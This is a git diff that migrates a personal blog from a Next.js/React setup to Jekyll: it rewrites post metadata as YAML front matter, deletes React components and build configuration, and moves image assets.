diff options
-rw-r--r-- | .gitignore | 37 | ||||
-rw-r--r-- | _config.yml | 9 | ||||
-rw-r--r-- | _data/authors.yml | 7 | ||||
-rw-r--r-- | _layouts/post.html | 30 | ||||
-rw-r--r-- | _posts/2021-04-13-software.md (renamed from posts/software.md) | 19 | ||||
-rw-r--r-- | _posts/2021-04-24-connect4.md (renamed from posts/connect4.md) | 16 | ||||
-rw-r--r-- | _posts/2021-04-28-git.md (renamed from posts/git.md) | 17 | ||||
-rw-r--r-- | _posts/2021-07-13-redpwn2021.md (renamed from posts/redpwn2021.md) | 19 | ||||
-rw-r--r-- | _posts/2021-07-22-scoop.md (renamed from posts/scoop.md) | 17 | ||||
-rw-r--r-- | _posts/2021-08-17-homeauto.md (renamed from posts/homeauto.md) | 24 | ||||
-rw-r--r-- | _posts/2021-09-09-avanswifi.md (renamed from posts/avanswifi.md) | 15 | ||||
-rw-r--r-- | _posts/2022-01-24-latex.md (renamed from posts/latex.md) | 17 | ||||
-rw-r--r-- | components/button.tsx | 9 | ||||
-rw-r--r-- | components/card.tsx | 14 | ||||
-rw-r--r-- | components/chapters.tsx | 68 | ||||
-rw-r--r-- | components/image.tsx | 11 | ||||
-rw-r--r-- | components/navbar.tsx | 70 | ||||
-rw-r--r-- | components/seperator.tsx | 12 | ||||
-rw-r--r-- | components/tag.tsx | 28 | ||||
-rw-r--r-- | dprint.json | 25 | ||||
-rw-r--r-- | img/avanswifi.png (renamed from public/img/avanswifi.png) | bin | 11154 -> 11154 bytes | |||
-rw-r--r-- | img/connectfourbeta.png (renamed from public/img/connectfourbeta.png) | bin | 58883 -> 58883 bytes | |||
-rw-r--r-- | img/git.png (renamed from public/img/git.png) | bin | 4254 -> 4254 bytes | |||
-rw-r--r-- | img/helloworld.png (renamed from public/img/helloworld.png) | bin | 16179 -> 16179 bytes | |||
-rw-r--r-- | img/homeauto.png (renamed from public/img/homeauto.png) | bin | 71740 -> 71740 bytes | |||
-rw-r--r-- | img/homeauto/controller_board.jpg (renamed from public/img/homeauto/controller_board.jpg) | bin | 3816785 -> 3816785 bytes | |||
-rw-r--r-- | img/homeauto/controller_original.jpg (renamed from public/img/homeauto/controller_original.jpg) | bin | 3581275 -> 3581275 bytes | |||
-rw-r--r-- | img/homeauto/esp8266.jpg (renamed from public/img/homeauto/esp8266.jpg) | bin | 3865836 -> 3865836 bytes | |||
-rw-r--r-- | img/homeauto/espfit.png (renamed from public/img/homeauto/espfit.png) | bin | 10565344 -> 10565344 bytes | |||
-rw-r--r-- | img/homeauto/finishedcontroller.png (renamed from public/img/homeauto/finishedcontroller.png) | bin | 4409149 -> 4409149 bytes | |||
-rw-r--r-- | img/homeauto/irboardbot.png (renamed from public/img/homeauto/irboardbot.png) | bin | 4587329 -> 4587329 bytes | |||
-rw-r--r-- | img/homeauto/irboardtop.png (renamed from public/img/homeauto/irboardtop.png) | bin | 4736589 -> 4736589 bytes | |||
-rw-r--r-- | img/homeauto/open_controller.jpg (renamed from public/img/homeauto/open_controller.jpg) | bin | 3565942 -> 3565942 bytes | |||
-rw-r--r-- | img/homeauto/opening_controller.jpg (renamed from public/img/homeauto/opening_controller.jpg) | bin | 3438595 -> 3438595 bytes | |||
-rw-r--r-- | img/homeauto/schematic.png (renamed from public/img/homeauto/schematic.png) | bin | 109370 -> 109370 bytes | |||
-rw-r--r-- | img/homeauto/shittydremel.png (renamed from public/img/homeauto/shittydremel.png) | bin | 9012008 -> 9012008 bytes | |||
-rw-r--r-- | img/latex.png (renamed from public/img/latex.png) | bin | 7014 -> 7014 bytes | |||
-rw-r--r-- | img/redpwn2021.png (renamed from public/img/redpwn2021.png) | bin | 10895 -> 10895 bytes | |||
-rw-r--r-- | img/redpwn2021/cyberchef1.png (renamed from public/img/redpwn2021/cyberchef1.png) | bin | 71260 -> 71260 bytes | |||
-rw-r--r-- | img/redpwn2021/cyberchef2.png (renamed from public/img/redpwn2021/cyberchef2.png) | bin | 78732 -> 78732 bytes | |||
-rw-r--r-- | img/redpwn2021/leaderboard.png (renamed from public/img/redpwn2021/leaderboard.png) | bin | 17973 -> 17973 bytes | |||
-rw-r--r-- | img/scoop.png (renamed from public/img/scoop.png) | bin | 222389 -> 222389 bytes | |||
-rw-r--r-- | img/software.png (renamed from public/img/software.png) | bin | 23521 -> 23521 bytes | |||
-rw-r--r-- | index.md (renamed from posts/index.md) | 15 | ||||
-rw-r--r-- | makefile | 5 | ||||
-rw-r--r-- | package.json | 29 | ||||
-rw-r--r-- | pages/_app.tsx | 34 | ||||
-rw-r--r-- | pages/index.tsx | 101 | ||||
-rw-r--r-- | pages/post/[id].tsx | 216 | ||||
-rw-r--r-- | pages/search.tsx | 170 | ||||
-rw-r--r-- | public/atom.xml | 4403 | ||||
-rw-r--r-- | public/font/font.css | 115 | ||||
-rw-r--r-- | public/font/inter/Inter-Bold.woff | bin | 143100 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-Bold.woff2 | bin | 106052 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-BoldItalic.woff | bin | 149808 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-BoldItalic.woff2 | bin | 111644 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-Italic.woff | bin | 143188 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-Italic.woff2 | bin | 106604 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-Medium.woff | bin | 142340 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-Medium.woff2 | bin | 105500 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-MediumItalic.woff | bin | 149704 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-MediumItalic.woff2 | bin | 111968 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-Regular.woff | bin | 133856 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-Regular.woff2 | bin | 98804 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-SemiBold.woff | bin | 142760 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-SemiBold.woff2 | bin | 105992 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-SemiBoldItalic.woff | bin | 149776 -> 0 bytes | |||
-rw-r--r-- | public/font/inter/Inter-SemiBoldItalic.woff2 | bin | 111676 -> 0 bytes | |||
-rw-r--r-- | public/font/jetbrainsmono/JetBrainsMono-Bold.woff2 | bin | 59436 -> 0 bytes | |||
-rw-r--r-- | public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2 | bin | 61992 -> 0 bytes | |||
-rw-r--r-- | public/font/jetbrainsmono/JetBrainsMono-Italic.woff2 | bin | 60864 -> 0 bytes | |||
-rw-r--r-- | public/font/jetbrainsmono/JetBrainsMono-Medium.woff2 | bin | 59232 -> 0 bytes | |||
-rw-r--r-- | public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2 | bin | 62208 -> 0 bytes | |||
-rw-r--r-- | public/font/jetbrainsmono/JetBrainsMono-Regular.woff2 | bin | 58268 -> 0 bytes | |||
-rw-r--r-- | public/robots.txt | 2 | ||||
-rw-r--r-- | readme.md | 16 | ||||
-rw-r--r-- | robots.txt | 1 | ||||
-rw-r--r-- | rss/base.xml | 10 | ||||
-rwxr-xr-x | rss/genrss | 23 | ||||
-rwxr-xr-x | scripts/build | 29 | ||||
-rwxr-xr-x | scripts/genposts | 9 | ||||
-rwxr-xr-x | scripts/meta | 22 | ||||
-rwxr-xr-x | scripts/postinfo | 24 | ||||
-rwxr-xr-x | scripts/posts | 16 | ||||
-rwxr-xr-x | scripts/tags | 10 | ||||
-rw-r--r-- | tsconfig.json | 29 | ||||
-rw-r--r-- | yarn.lock | 2480 |
87 files changed, 154 insertions, 8069 deletions
@@ -1,37 +1,6 @@ -# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. +_site +.jekyll-cache +.jekyll-metadata -# dependencies -/node_modules -/.pnp -.pnp.js - -# testing -/coverage - -# next.js -/.next/ -/out/ -next-env.d.ts - -# production -/build - -# misc .DS_Store -*.pem - -# debug -npm-debug.log* -yarn-debug.log* -yarn-error.log* - -# local env files -.env.local -.env.development.local -.env.test.local -.env.production.local - -# vercel -.vercel -public/posts.json diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..f82b166 --- /dev/null +++ b/_config.yml @@ -0,0 +1,9 @@ +permalink: /post/:title +exclude: + - makefile + - license +defaults: + - scope: + type: posts + values: + layout: post diff --git a/_data/authors.yml b/_data/authors.yml new file mode 100644 index 0000000..225bec1 --- /dev/null +++ b/_data/authors.yml @@ -0,0 +1,7 @@ +authors: + - name: Loek + git: + - lonkaars + - name: Willem + git: + - Willem Paternotte diff --git a/_layouts/post.html b/_layouts/post.html new file mode 100644 index 0000000..847df76 --- /dev/null +++ b/_layouts/post.html @@ -0,0 +1,30 @@ +<!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="UTF-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0"> + <title>{{ page.title }} - Loek's Blog</title> + <meta property='og:site_name' content='{{ page.date }}' /> + <meta property='og:title' content='{{ page.title }}' /> + <meta property='og:description' content='{{ page.subtitle }}' /> +</head> +<body> + <div className='centeredPage'> + <div className='titleWrapper'> + <h1>{{ page.title }}</h1> + <p className='subtile'>{{ page.subtitle }}</p> + {props.meta.tags && <Tags tags={props.meta.tags} />} + </div> + <div className='navAreaWrapper'> + <div className='sticky'> + <Navbar /> + <Chapters chapters={props.meta.chapters} /> + </div> + </div> + <MobileNavbar /> + <div className='contentWrapper'> + {{ content }} + </div> + </div> +</body> +</html> diff --git a/posts/software.md b/_posts/2021-04-13-software.md index 2a06fed..9cad319 100644 --- a/posts/software.md +++ b/_posts/2021-04-13-software.md @@ -1,9 +1,16 @@ -[meta]: <title> (Software that I use) -[meta]: <subtitle> (Desktop software, server software, phone apps, everything) -[meta]: <author> (Loek) -[meta]: <date> (April 13 2021) -[meta]: <tags> (software, open source, server, phone) -[meta]: <cover> (/img/software.png) +--- +title: Software that I use +subtitle: Desktop software, server software, phone apps, everything +author: Loek +date: April 13 2021 +tags: + - software + - open + - source + - server + - phone +cover: /img/software.png +--- ## PC software diff --git a/posts/connect4.md b/_posts/2021-04-24-connect4.md index 89f8db2..c1e0c69 100644 --- a/posts/connect4.md +++ b/_posts/2021-04-24-connect4.md @@ -1,9 +1,13 @@ -[meta]: <title> (Connect 4 beta live!) -[meta]: <subtitle> (Announcement post) -[meta]: <author> (Loek) -[meta]: <date> (April 24 2021) -[meta]: <tags> (connect 4, beta) -[meta]: <cover> (/img/connectfourbeta.png) +--- +title: Connect 4 beta live! +subtitle: Announcement post +author: Loek +date: April 24 2021 +tags: + - connect 4 + - beta +cover: /img/connectfourbeta.png +--- My connect four website is currently online as a public beta. You can visit the website at <https://connect4.pipeframe.xyz>. A list of known bugs is on the diff --git a/posts/git.md b/_posts/2021-04-28-git.md index 7d3ddbe..17d43dc 100644 --- a/posts/git.md +++ b/_posts/2021-04-28-git.md @@ -1,9 +1,14 @@ -[meta]: <title> (My git setup) -[meta]: <subtitle> (How I use git on my server) -[meta]: <author> (Loek) -[meta]: <date> (April 28 2021) -[meta]: <tags> (git, server, software) -[meta]: <cover> (/img/git.png) +--- +title: My git setup +subtitle: How I use git on my server +author: Loek +date: April 28 2021 +tags: + - git + - server + - software +cover: /img/git.png +--- ## Overview diff --git a/posts/redpwn2021.md b/_posts/2021-07-13-redpwn2021.md index 97ee0a9..3c1a991 100644 --- a/posts/redpwn2021.md +++ b/_posts/2021-07-13-redpwn2021.md @@ -1,9 +1,16 @@ -[meta]: <title> (redpwnCTF 2021) -[meta]: <subtitle> (A noob's perspective) -[meta]: <author> (Loek, Willem) -[meta]: <date> (July 13 2021) -[meta]: <tags> (hacking, CTF, writeup) -[meta]: <cover> (/img/redpwn2021.png) +--- +title: redpwnCTF 2021 +subtitle: A noob's perspective +authors: + - Loek + - Willem +date: July 13 2021 +tags: + - hacking + - CTF + - writeup +cover: /img/redpwn2021.png +--- This is the first 'real' CTF I've participated in. About two weeks ago, a friend of mine was stuck on some challenges from the Radboud CTF. This was a diff --git a/posts/scoop.md b/_posts/2021-07-22-scoop.md index aa60934..c0ef34d 100644 --- a/posts/scoop.md +++ b/_posts/2021-07-22-scoop.md @@ -1,9 +1,14 @@ -[meta]: <title> (Scoop guide) -[meta]: <subtitle> (Handbook and quick explanations) -[meta]: <author> (Loek) -[meta]: <date> (July 22 2021) -[meta]: <tags> (windows, normie, software) -[meta]: <cover> (/img/scoop.png) +--- +title: Scoop guide +subtitle: Handbook and quick explanations +author: Loek +date: July 22 2021 +tags: + - windows + - normie + - software +cover: /img/scoop.png +--- Here's a quick reference for returning customers: diff --git a/posts/homeauto.md b/_posts/2021-08-17-homeauto.md index 35d8d12..5a89988 100644 --- a/posts/homeauto.md +++ b/_posts/2021-08-17-homeauto.md @@ -1,9 +1,21 @@ -[meta]: <title> (My home automation adventure) -[meta]: <subtitle> (How to make your house a shitty utopia) -[meta]: <author> (Loek) -[meta]: <date> (August 17 2021) -[meta]: <tags> (home automation, raspberry pi, esp8266, cc2500, microcontrollers, software, hardware, hacking) -[meta]: <cover> (/img/homeauto.png) +--- +title: My home automation adventure +subtitle: How to make your house a shitty utopia +author: Loek +date: August 17 2021 +tags: + - home + - automation + - raspberry + - pi + - esp8266 + - cc2500 + - microcontrollers + - software + - hardware + - hacking +cover: /img/homeauto.png +--- Home automation is cool, but it can also be scary. I want to try to convert my existing bedroom lights into 'smart' lights that I can control using a home diff --git a/posts/avanswifi.md b/_posts/2021-09-09-avanswifi.md index 11191fd..4359bac 100644 --- a/posts/avanswifi.md +++ b/_posts/2021-09-09-avanswifi.md @@ -1,9 +1,12 @@ -[meta]: <title> (Avans wifi setup) -[meta]: <subtitle> (How to use Avans eduroam with NetworkManager) -[meta]: <author> (Loek) -[meta]: <date> (September 9 2021) -[meta]: <tags> (software) -[meta]: <cover> (/img/avanswifi.png) +--- +title: Avans wifi setup +subtitle: How to use Avans eduroam with NetworkManager +author: Loek +date: September 9 2021 +tags: + - software +cover: /img/avanswifi.png +--- I wasted 2 hours trying to set up my school's WiFi, so here's a quick reference for other students who might've tried connecting but ended up giving up. diff --git a/posts/latex.md b/_posts/2022-01-24-latex.md index e1f4163..4db2ec1 100644 --- a/posts/latex.md +++ b/_posts/2022-01-24-latex.md @@ -1,9 +1,14 @@ -[meta]: <title> (My LaTeX setup) -[meta]: <subtitle> (How to set up a simple LaTeX environment with XeTeX and latexmk) -[meta]: <author> (Loek) -[meta]: <date> (January 24 2022) -[meta]: <tags> (software, latex, git) -[meta]: <cover> (/img/latex.png) +--- +title: My LaTeX setup +subtitle: How to set up a simple LaTeX environment with XeTeX and latexmk +author: Loek +date: January 24 2022 +tags: + - software + - latex + - git +cover: /img/latex.png +--- I started using LaTeX instead of MS Word about two years ago, and I've never regretted the decision. I switched out of frustration because Word makes it diff --git a/components/button.tsx b/components/button.tsx deleted file mode 100644 index 23201aa..0000000 --- a/components/button.tsx +++ /dev/null @@ -1,9 +0,0 @@ -export default function Button(props: { - text: string; - href?: string; - onclick?: () => void; -}) { - return props.href - ? <a href={props.href} className='button'>{props.text}</a> - : <button onClick={props.onclick} className='button'>{props.text}</button>; -} diff --git a/components/card.tsx b/components/card.tsx deleted file mode 100644 index 7a6a472..0000000 --- a/components/card.tsx +++ /dev/null @@ -1,14 +0,0 @@ -import Tags from './tag'; - -import { ArticleMeta } from '../pages/post/[id]'; - -export default function PostCard(props: { - post: ArticleMeta; -}) { - return <a className='postCard' href={'/post/' + props.post.id}> - {props.post.cover && <img src={props.post.cover} className='cover' />} - <h2 className='title'>{props.post.title}</h2> - <strong className='subtitle'>{props.post.subtitle}</strong> - {props.post.tags?.length != 0 && <Tags tags={props.post.tags} />} - </a>; -} diff --git a/components/chapters.tsx b/components/chapters.tsx deleted file mode 100644 index 62d8285..0000000 --- a/components/chapters.tsx +++ /dev/null @@ -1,68 +0,0 @@ -import { CSSProperties, ReactNode, useState } from 'react'; - -import { NavbarItem } from '../components/navbar'; - -import KeyboardArrowDownRoundedIcon from '@material-ui/icons/KeyboardArrowDownRounded'; -import RemoveRoundedIcon from '@material-ui/icons/RemoveRounded'; - -export interface chapter { - name: string; - sectionLink?: string; - children?: Array<chapter>; -} - -function NavbarChapter(props: { - level: number; - chapter: chapter; - children?: ReactNode; -}) { - var [collapsed, setCollapsed] = useState(true); - - var icon = <div className={'collapseIcon' + (collapsed ? '' : ' collapsed')}> - {props.chapter.children?.length > 0 - ? <KeyboardArrowDownRoundedIcon /> - : <RemoveRoundedIcon />} - </div>; - - var classes = [ - 'chapter', - `indentLevel${props.level}`, - ]; - !collapsed && classes.push('childrenCollapsed'); - - var outercss = /* { "--children-height": 0 + "px" } */ {} as CSSProperties; - - return <NavbarItem - icon={icon} - classList={classes} - title={props.chapter.name} - onIconClick={() => props.chapter.children?.length > 0 && setCollapsed(!collapsed)} - href={props.chapter.sectionLink} - key={(() => Math.round(Math.random() * 1e12))()} - style={{ - marginLeft: 12 * props.level, - }} - outerStyle={outercss} - > - {props.children} - </NavbarItem>; -} - -class Chapter { - constructor(public chapters: Array<chapter>, public level: number) {} - render() { - return <div className='chapterChildren'> - {this.chapters?.map(chapter => { - return <NavbarChapter level={this.level} chapter={chapter}> - {new Chapter(chapter.children, this.level + 1).render()} - </NavbarChapter>; - })} - </div>; - } -} - -export default function Chapters(props: { - chapters: Array<chapter>; -}) { - return new Chapter(props.chapters, 0).render(); -} diff --git a/components/image.tsx b/components/image.tsx deleted file mode 100644 index 5a8b2cf..0000000 --- a/components/image.tsx +++ /dev/null @@ -1,11 +0,0 @@ -export default function Image(props: { - src: string; - alt?: string; -}) { - return <div className='image'> - <img src={props.src} alt={props.alt} /> - {props.alt && <div> - <p>{props.alt}</p> - </div>} - </div>; -} diff --git a/components/navbar.tsx b/components/navbar.tsx deleted file mode 100644 index acbec40..0000000 --- a/components/navbar.tsx +++ /dev/null @@ -1,70 +0,0 @@ -import { CSSProperties, ReactNode } from 'react'; - -import HomeRoundedIcon from '@material-ui/icons/HomeRounded'; -import MenuIcon from '@material-ui/icons/Menu'; -import SearchRoundedIcon from '@material-ui/icons/SearchRounded'; - -export function NavbarItem(props: { - icon?: ReactNode; - title: string; - href?: string; - active?: boolean; - children?: ReactNode; - classList?: Array<string>; - style?: CSSProperties; - outerStyle?: CSSProperties; - onIconClick?: () => void; - onClick?: () => void; -}) { - var classes = props.classList || []; - classes.push('navbarItem'); - props.active && classes.push('active'); - return <a href={props.href} className={classes.join(' ')} style={props.outerStyle}> - <div className='inner' style={props.style}> - <div className='icon' onClick={props.onIconClick}>{props.icon}</div> - <span className='title' onClick={props.onClick}>{props.title}</span> - </div> - {props.children} - </a>; -} - -export default function Navbar(props: { - page?: string; -}) { - return <div className='globalLinks' style={{ marginBottom: 24 }}> - <NavbarItem - active={props.page == 'home'} - icon={<HomeRoundedIcon />} - title='Home' - href='/' - classList={['indentLevel0', 'link']} - /> - <NavbarItem - active={props.page == 'search'} - icon={<SearchRoundedIcon />} - title='Search for posts' - href='/search' - classList={['indentLevel0', 'link']} - /> - </div>; -} - -export function MobileNavbar() { - return <div className='mobileNav'> - <a className='home button small' href='/'> - <HomeRoundedIcon /> - </a> - <a className='search button small' href='/search'> - <SearchRoundedIcon /> - </a> - <div - className='mainButton button' - onClick={() => { - document.getElementsByClassName('mobileNav')[0].classList.toggle('open'); - document.getElementsByClassName('navAreaWrapper')[0].classList.toggle('navVisible'); - }} - > - <MenuIcon style={{ 'fill': 'var(--oxford-blue)' }} /> - </div> - </div>; -} diff --git a/components/seperator.tsx b/components/seperator.tsx deleted file mode 100644 index f1843a7..0000000 --- a/components/seperator.tsx +++ /dev/null @@ -1,12 +0,0 @@ -export default function ArticleSeperator() { - return <div className='seperator'> - <svg width='96' height='12' viewBox='0 0 96 12' fill='none' xmlns='http://www.w3.org/2000/svg'> - <path - fillRule='evenodd' - clipRule='evenodd' - d='M8.04282 8.19986C6.51226 9.73171 4.24587 12 0 12V6C1.68094 6 2.4102 5.34716 3.87868 3.87868C3.90463 3.85273 3.9308 3.82654 3.95718 3.80014C5.48774 2.26829 7.75413 0 12 0C16.2459 0 18.5123 2.26829 20.0428 3.80014C20.0692 3.82654 20.0954 3.85273 20.1213 3.87868C21.5898 5.34716 22.3191 6 24 6C25.6809 6 26.4102 5.34716 27.8787 3.87868C27.9046 3.85273 27.9308 3.82654 27.9572 3.80014C29.4877 2.26829 31.7541 0 36 0C40.2459 0 42.5123 2.26829 44.0428 3.80014C44.0692 3.82654 44.0954 3.85273 44.1213 3.87868C45.5898 5.34716 46.3191 6 48 6C49.6809 6 50.4102 5.34716 51.8787 3.87868C51.9046 3.85273 51.9308 3.82654 51.9572 3.80014C53.4877 2.26829 55.7541 0 60 0C64.2459 0 66.5123 2.26829 68.0428 3.80014C68.0692 3.82654 68.0954 3.85273 68.1213 3.87868C69.5898 5.34716 70.3191 6 72 6C73.6809 6 74.4102 5.34716 75.8787 3.87868L75.9572 3.80014C77.4877 2.26829 79.7541 0 84 0C88.2459 0 90.5123 2.26829 92.0428 3.80014L92.1213 3.87868C93.5898 5.34716 94.3191 6 96 6V12C91.7541 12 89.4877 9.73171 87.9572 8.19986L87.8787 8.12132C86.4102 6.65284 85.6809 6 84 6C82.3191 6 81.5898 6.65284 80.1213 8.12132L80.0428 8.19986C78.5123 9.73171 76.2459 12 72 12C67.7541 12 65.4877 9.73171 63.9572 8.19986C63.9308 8.17346 63.9046 8.14727 63.8787 8.12132C62.4102 6.65284 61.6809 6 60 6C58.3191 6 57.5898 6.65284 56.1213 8.12132C56.0954 8.14727 56.0692 8.17346 56.0428 8.19986C54.5123 9.73171 52.2459 12 48 12C43.7541 12 41.4877 9.73171 39.9572 8.19986C39.9308 8.17346 39.9046 8.14727 39.8787 8.12132C38.4102 6.65284 37.6809 6 36 6C34.3191 6 33.5898 6.65284 32.1213 8.12132C32.0954 8.14727 32.0692 8.17346 32.0428 8.19986C30.5123 9.73171 28.2459 12 24 12C19.7541 12 17.4877 9.73171 15.9572 8.19986C15.9308 8.17346 15.9046 8.14727 15.8787 8.12132C14.4102 6.65284 13.6809 6 12 6C10.3191 6 9.5898 6.65284 8.12132 8.12132C8.09537 8.14727 8.0692 8.17346 8.04282 8.19986Z' - fill='var(--fire-opal)' - /> - </svg> - </div>; -} diff --git a/components/tag.tsx b/components/tag.tsx deleted file mode 100644 index 048c405..0000000 --- a/components/tag.tsx +++ /dev/null @@ -1,28 +0,0 @@ -import { CSSProperties } from 'react'; - -export default function Tags(props: { - tags: Array<string>; -}) { - return <div className='tags'> - <span>Tags:</span> - {props.tags.map(tag => <Tag key={Math.random().toString()} name={tag} />)} - </div>; -} - -export function Tag(props: { - name: string; -}) { - return <a - className='tag' - href={'/search?q=' + props.name} - style={{ - '--tag-hue': props.name - .split('') - .map(char => char.charCodeAt(0)) - .reduce((a, b) => a + b) - % 360, - } as CSSProperties} - > - {props.name} - </a>; -} diff --git a/dprint.json b/dprint.json deleted file mode 100644 index 819abc8..0000000 --- a/dprint.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "$schema": "https://dprint.dev/schemas/v0.json", - "projectType": "openSource", - "incremental": true, - "useTabs": true, - "typescript": { - "semiColons": "always", - "quoteStyle": "preferSingle", - "importDeclaration.spaceSurroundingNamedImports": true - }, - "json": { "lineWidth": 80 }, - "includes": [ - "**/*.{ts,tsx}", - "**/*.{json}" - ], - "excludes": [ - "node_modules/**", - "**/*-lock.json", - ".next/**" - ], - "plugins": [ - "https://plugins.dprint.dev/typescript-0.44.0.wasm", - "https://plugins.dprint.dev/json-0.10.1.wasm" - ] -} diff --git a/public/img/avanswifi.png b/img/avanswifi.png Binary files differindex b006795..b006795 100644 --- a/public/img/avanswifi.png +++ b/img/avanswifi.png diff --git a/public/img/connectfourbeta.png b/img/connectfourbeta.png Binary files differindex b4ff091..b4ff091 100644 --- a/public/img/connectfourbeta.png +++ b/img/connectfourbeta.png diff --git a/public/img/git.png b/img/git.png Binary files differindex 1842eed..1842eed 100644 --- a/public/img/git.png +++ b/img/git.png diff --git a/public/img/helloworld.png b/img/helloworld.png Binary files differindex dd067bf..dd067bf 100644 --- a/public/img/helloworld.png +++ b/img/helloworld.png diff --git a/public/img/homeauto.png b/img/homeauto.png Binary files differindex 4398655..4398655 100644 --- a/public/img/homeauto.png +++ b/img/homeauto.png diff --git a/public/img/homeauto/controller_board.jpg b/img/homeauto/controller_board.jpg Binary files differindex 046785a..046785a 100644 --- a/public/img/homeauto/controller_board.jpg +++ b/img/homeauto/controller_board.jpg diff --git a/public/img/homeauto/controller_original.jpg b/img/homeauto/controller_original.jpg Binary files differindex 6437506..6437506 100644 --- a/public/img/homeauto/controller_original.jpg +++ b/img/homeauto/controller_original.jpg diff --git a/public/img/homeauto/esp8266.jpg b/img/homeauto/esp8266.jpg Binary files differindex d1d886c..d1d886c 100644 --- a/public/img/homeauto/esp8266.jpg +++ b/img/homeauto/esp8266.jpg diff --git a/public/img/homeauto/espfit.png b/img/homeauto/espfit.png Binary files differindex 78ce979..78ce979 100644 --- a/public/img/homeauto/espfit.png +++ b/img/homeauto/espfit.png diff --git a/public/img/homeauto/finishedcontroller.png b/img/homeauto/finishedcontroller.png Binary files differindex babd439..babd439 100644 --- a/public/img/homeauto/finishedcontroller.png +++ b/img/homeauto/finishedcontroller.png diff --git a/public/img/homeauto/irboardbot.png b/img/homeauto/irboardbot.png Binary files differindex 2924c1b..2924c1b 100644 --- a/public/img/homeauto/irboardbot.png +++ b/img/homeauto/irboardbot.png diff --git a/public/img/homeauto/irboardtop.png b/img/homeauto/irboardtop.png Binary files differindex 7cbcf2c..7cbcf2c 100644 --- a/public/img/homeauto/irboardtop.png +++ b/img/homeauto/irboardtop.png diff --git a/public/img/homeauto/open_controller.jpg b/img/homeauto/open_controller.jpg Binary files differindex d704967..d704967 100644 --- a/public/img/homeauto/open_controller.jpg +++ b/img/homeauto/open_controller.jpg diff --git a/public/img/homeauto/opening_controller.jpg b/img/homeauto/opening_controller.jpg Binary files differindex a787e32..a787e32 100644 --- a/public/img/homeauto/opening_controller.jpg +++ b/img/homeauto/opening_controller.jpg diff --git a/public/img/homeauto/schematic.png b/img/homeauto/schematic.png Binary files differindex 2afcc6b..2afcc6b 100644 --- a/public/img/homeauto/schematic.png +++ b/img/homeauto/schematic.png diff --git a/public/img/homeauto/shittydremel.png b/img/homeauto/shittydremel.png Binary files differindex 830bfa1..830bfa1 100644 --- a/public/img/homeauto/shittydremel.png +++ b/img/homeauto/shittydremel.png diff --git a/public/img/latex.png b/img/latex.png Binary files differindex 9489d51..9489d51 100644 --- a/public/img/latex.png +++ b/img/latex.png diff --git a/public/img/redpwn2021.png b/img/redpwn2021.png Binary files differindex b730ad0..b730ad0 100644 --- a/public/img/redpwn2021.png +++ b/img/redpwn2021.png diff --git a/public/img/redpwn2021/cyberchef1.png b/img/redpwn2021/cyberchef1.png Binary files differindex d0a3a08..d0a3a08 100644 --- a/public/img/redpwn2021/cyberchef1.png +++ b/img/redpwn2021/cyberchef1.png diff --git a/public/img/redpwn2021/cyberchef2.png b/img/redpwn2021/cyberchef2.png Binary files differindex cb92819..cb92819 100644 --- a/public/img/redpwn2021/cyberchef2.png +++ b/img/redpwn2021/cyberchef2.png diff --git a/public/img/redpwn2021/leaderboard.png b/img/redpwn2021/leaderboard.png Binary files differindex 5feeea6..5feeea6 100644 --- a/public/img/redpwn2021/leaderboard.png +++ b/img/redpwn2021/leaderboard.png diff --git a/public/img/scoop.png b/img/scoop.png Binary files differindex fda7b4d..fda7b4d 100644 --- a/public/img/scoop.png +++ b/img/scoop.png diff --git a/public/img/software.png b/img/software.png Binary files differindex c4cf93b..c4cf93b 100644 --- a/public/img/software.png +++ b/img/software.png diff --git a/posts/index.md b/index.md index 50894f5..89b4b12 100644 --- a/posts/index.md +++ b/index.md @@ -1,9 +1,6 @@ -[meta]: <title> (Loek's excruciatingly interesting blog) -[meta]: <subtitle> (This is the article that's displayed on the home page) -[meta]: <author> (Loek) -[meta]: <date> (April 12 2021) -[meta]: <tags> (home) -[meta]: <cover> (/img/helloworld.png) +--- +title: Loek's excruciatingly interesting blog +--- Welcome to my blog page! This is where I post updates on things that I do such as: @@ -17,9 +14,3 @@ The page you're looking at right now is also open-source! The code for this page can be found on [GitHub](https://github.com/lonkaars/blog), and should also be available on [my private git server](https://git.pipeframe.xyz). -An rss/atom feed of this blog is also available: - -``` -https://blog.pipeframe.xyz/atom.xml -``` - diff --git a/makefile b/makefile new file mode 100644 index 0000000..a8578d4 --- /dev/null +++ b/makefile @@ -0,0 +1,5 @@ +build: + jekyll build --quiet + +clean: + $(RM) -r _site diff --git a/package.json b/package.json deleted file mode 100644 index f4c4d42..0000000 --- a/package.json +++ /dev/null @@ -1,29 +0,0 @@ -{ - "name": "blog", - "version": "0.1.0", - "private": true, - "scripts": { - "dev": "next dev", - "build": "next build", - "start": "next start" - }, - "dependencies": { - "@material-ui/core": "^4.11.3", - "@material-ui/icons": "^4.11.2", - "@types/react-syntax-highlighter": "^13.5.0", - "fuse.js": "^6.4.6", - "next": "10.0.9", - "react": "17.0.2", - "react-dom": "17.0.2", - "react-markdown": "^6.0.0", - "react-syntax-highlighter": "^15.4.3", - "rehype-raw": "^5.1.0", - "remark-gfm": "^1.0.0", - "use-mousetrap": "^1.0.4" - }, - "devDependencies": { - "@types/node": "^14.14.36", - "@types/react": "^17.0.3", - "typescript": "^4.2.3" - } -} diff --git a/pages/_app.tsx b/pages/_app.tsx deleted file mode 100644 index a6c53d3..0000000 --- a/pages/_app.tsx 